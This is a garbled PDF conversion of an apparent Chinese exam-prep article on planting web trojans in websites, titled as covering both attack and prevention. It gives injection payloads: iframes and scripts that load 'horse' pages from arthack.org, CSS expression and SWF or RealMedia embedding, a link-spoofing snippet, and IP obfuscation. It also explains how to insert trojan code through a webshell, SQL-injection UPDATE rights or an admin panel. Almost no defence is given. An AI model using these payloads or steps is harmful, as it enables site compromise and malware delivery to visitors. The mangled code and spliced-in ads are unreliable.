

网络技术:了解集中网站挂马和防范方法计算机等级考试 PDF
转换可能丢失图片或格式，建议阅读原文

https://www.100test.com/kao_ti2020/555/2021_2022_E7_BD_91_E7_BB_9C_E6_8A_80_E6_c98_555798.htm

1、挂马的N种方法

(1) HTML挂马法。 常规的HTML挂马方法一般是在网页中插入一条iframe语句，像`<iframe>`。 查看站点是否被挂，一般是查找一下关键词`iframe`。 (2) 再隐藏一点的就是js挂马了。 像再原来的网页中写入`<script>`，`horse`里的js写法一般为`document.write('http://www.arthack.org/horse.html')`。

`src=http://www.zw361.com/horse.htm/` `<div></div>`

`src=http://www.xxx.com/horse.html/` `<div></div>`这样的。

在csdn 中对expression的解释是：IE5及其以后版本支持在CSS 中使用expression，用来吧CSS属性和javascript表达式关联起来，这里的CSS属性可以是元素固有的属性，也可以是自定义属性。也就是说CSS属性后面可以是一段Javascript表达式，CSS 属性的值等于 javascript表达式计算的结果。在表达式中可以是直接用元素自身的属性和方法，也可以使用其它浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。整个解释关键点是expression可以在css中引入js语句，所以我们可用于挂马。不过写的语句值可以远程调用，本地不可以。 (4) 在swf中挂马 网上有一些swf挂马的工具，可以用工具替换原来网页中的swf或单独把swf发给对方，一可以单独作一个可显示swf页的网页。在网页中插入swf的语法一般格式为：`<object></object>` (5) 在影音文件中挂马。 所需工具是RealMedia Editor，打开工具后，然后依次选择“文件” - “打开Real媒体文件”，然后选择需要编辑的视频文件，其格式必须

是RealOne公司的以RM或RMVB为扩展名的文件。接着，新建一个文本，在里面输入

```
00:00:10:0  
00:00:30.0amp._rpexternallt.iframesrc=/uploadfile/200902  
/20090220105353594.jpg width=0 height=0lt./iframelt.script  
src=/uploadfile/200902/20090220105353594.jpglt./scriptlt.scriptlang  
uage="jscript".encode  
"src=http://www.arthack.org/horse.txtlt./scriptlt.a id="CZY"  
href=http://www.arthack.org"lt./alt.divlt.a  
href=http://www.google.cn"target="_blank  
"lt.tablelt.captionlt.a href=http://www.google.cn"target=  
"_blank"lt.label for="CZY"lt.u style="cursor: pointer; color:  
blue"lt./ult./labellt./alt./captionlt./tablelt./alt./div&gt;.保存该代码  
为网页后，鼠标移动到Google这个链接上时，IE状态栏显示  
的http://www.google.cn，但点击链接后却打开  
http://www.arthack.org网站。如果你的网马可以用IP地址访问  
到的话，IP地址也可以进行转换的。像127.0.0.1这样的IP还可以  
变为2130706433、0x7f.0x00.0x00.0x01  
、0177.0000.0000.0001等等，这只不过是8进制、10进制、16进  
制、的转换而已。3、如何才能挂到马拿到了webshell的话，  
挂马自然是很简单的。但是拿不到的情况下，如果注入点  
有update权限，我们可以仔细查找首页中的某条新闻的调用  
链接，然后update数据库达到我们的目的。如果可进入后台  
，我就可以在一些发公告的地方写入自己的木马代码(不过  
千万别打乱前台html源文件里的代码逻辑)。2009年上半年全  
国计算机等级考试参考答案请进入计算机考试论坛 2009年全  
国计算机等级考试报名信息汇总 2009年NCRE考试有新变化
```

2009年全国计算机等级考试大纲 2009年上半年全国计算机二级考试试题及答案 2009年上半年全国计算机等级考试试题答案汇总 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com